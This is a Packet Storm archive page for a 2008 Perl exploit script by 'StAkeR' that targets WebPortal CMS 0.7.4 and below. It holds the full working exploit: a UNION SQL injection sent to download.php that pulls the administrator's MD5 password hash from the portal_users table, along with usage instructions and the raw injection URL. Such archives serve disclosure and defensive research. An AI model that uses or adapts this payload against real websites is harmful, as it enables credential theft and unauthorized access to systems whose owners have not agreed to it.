what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

webportalcms074-sql.txt

webportalcms074-sql.txt
Posted Sep 12, 2008
Authored by StAkeR

WebPortal CMS version 0.7.4 and below SQL injection exploit that leverages download.php.

tags | exploit, php, sql injection
SHA-256 | 040b9a047d86b445f68060a948eb32e5b269fe418667ebcd7e12fc5c1b27e738

webportalcms074-sql.txt

Change Mirror Download
#!/usr/bin/perl
# --==+============================================================================+==--
# --==+ WebPortal <= 0.7.4 Remote SQL Injection Exploit +==--
# --==+============================================================================+==--
#
# [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
# [+] Discovered On: 12 Sep 2008
# [+] Download: http://webportal.ivanoculmine.com/download.php?mid=14
#
# [*] SQL Injection
# [+] download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1
# [+] get file "download.php" and you can read
#
# [*] Exploit:
#
# ----------------------------------------------------------
# WebPortal <= 0.7.4 Remote SQL Injection Exploit
# Author: StAkeR - StAkeR[at]hotmail[dot]it
# ----------------------------------------------------------
# Usage: perl http://localhost/cms
# ----------------------------------------------------------

use strict;
use LWP::Simple;


my $domain = shift @ARGV or banner();
my $injsql = "/download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1";

if(get($domain.$injsql) =~ /([0-9a-f]{32})/)
{
print "[+] Exploit Succesfull!\n";
print "[+] MD5 Password: ${1}\n";
}
else
{
print "[!] Exploit Failed!\n";
print "[!] Site Not Vulnerable!\n";
}

sub banner
{
print "[+] WebPortal <= 0.7.4 Remote SQL Injection Exploit\n";
print "[+] Usage: ${0} http://[host]\n";
return exit;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close